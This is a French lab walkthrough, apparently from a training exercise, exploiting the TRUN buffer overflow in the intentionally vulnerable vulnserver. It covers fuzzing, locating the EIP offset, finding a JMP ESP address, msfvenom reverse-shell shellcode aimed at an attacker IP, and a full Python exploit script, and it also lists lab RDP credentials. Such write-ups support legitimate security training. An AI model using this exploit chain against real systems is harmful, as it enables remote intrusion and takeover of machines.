Objectif

Exploiter une vulnérabilité de type buffer overflow dans une application en prenant le contrôle du registre EIP et en exécutant un shellcode.

1. Connexion à la cible et lancement de vulnserver

Connexion RDP à la cible :

1
rdesktop -u IEUser -p 'Passw0rd!' 172.16.5.120

Lancement de vulnserver avec :

1
vulnserver.exe 9999

En intéragissant avec le serveur depuis notre machine, on remarque qu’en fonction de la maniere dont on tae la commande et ce que l’on envoie, on obtient des réponses différentes.

2. Fuzzing avec SPIKE

Création d’un script trun.spk

1
2
3
s_readline();                         
s_string("TRUN ");
s_string_variable("COMMAND");

Lancement du fuzzing :

1
generic_send_tcp 172.16.5.120 9999 trun.spk 0 0

Vulnserver crash, ce qui signifie qu’il y’a un overflow :

3. Analyse du crash avec Immunity Debugger

  1. Lancer vulnserver.exe avec immunty debugger
  2. Relancer le fuzzing depuis la machine attaquante

On constate alors que EIP est rempacé par des données contrôlées. On a donc une vulnérabilité exploitable.

Déterminer l’offset d’EIP

Afin de savoir à quel offset l’EIP est écrasé. On utilise un motif unique où chaque séquence est différente. La taille est a determiné en testant et avec Wireshark en se basant sur la taille de la variable lors du crash entrainé par SPIKE

1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 > pattern.txt

On envoie ce motif via un script Python (ne fonctionne pas avec nc car le payload est tronqué automatiquement.

1
2
3
4
5
6
7
8
9
10
11
import socket

ip = "172.16.5.120"
port = 9999
pattern = open("pattern.txt", "r").read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b"TRUN ." + pattern.encode() + b"\r\n")
s.close()

Après le crash provoqué par l’execution de notre code, la valeur d’EIP est la suivante :

1
EIP = 396F4337

Comme notre payload ne contient que des motifs unique, en nous basant sur cette valeur, on peut déterminer à quel offset se trouve EIP à l’aide de la commande suivante :

1
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4337

On obtient :

1
[*] Exact match at offset 2006

Ce qui signifie que 2006 est la position exacte dans le motif où commence l’écrasement de l’EIP.

5. Trouver une instruction JMP ESP

Comme notre shellcode se trouve en haut de la pile, il nous faut trouver une instruction JMP ESP qui va nous permettre d’aller directement en haut de la stack. Une fois cette instruction trouvée, on va mettre son adresse mémoire dans EIP afin que EIP indique la prochaine instruction a exécuté.

On peut rechercher une instruction JMP ESP dans immunity avec :

1
!mona find -s "\xff\xe4" -m essfunc.dll

On obtient alors :

1
Found at 0x625011AF

Cette adresse est stable et conteint un JMP ESP. On l’utilisera pour écraser EIP.

6. Génération du shellcode

On peut générer le shell code avec msfvenom en excluant le caractere null:

1
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.5.150 LPORT=4444 -b '\x00' -f python

Pour compléter le shellcode, il faudra ajouter le NOP (No Operation) sled qui est une série d’instrution placé avant le shellcoe permttant de s’assurer que même si l’ESP ne tombe pas exactement sur le shellcode, ce dernier sera bien executer.

Il faudra également ajouter du padding afin de compléter le buffer pour atteindre 3000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket

ip = "172.16.5.120"
port = 9999

offset = 2006
eip = b"\xaf\x11\x50\x62" # JMP ESP trouvé dans essfunc.dll
nopsled = b"\x90" * 16
shellcode = b"" # à compléter avec le shellcode msfvenom

padding = b"F" * (3000 - offset - len(eip) - len(nopsled) - len(shellcode))
payload = b"A" * offset + eip + nopsled + shellcode + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b"TRUN ." + payload + b"\r\n")
s.close()

Résultat

  • Le serveur plante
  • L’instruction JMP ESP redirge vers ESP
  • ESP pointe sur le NOP sled -> le shellcode est exécuté
  • Un reverse shell est reçu sur kali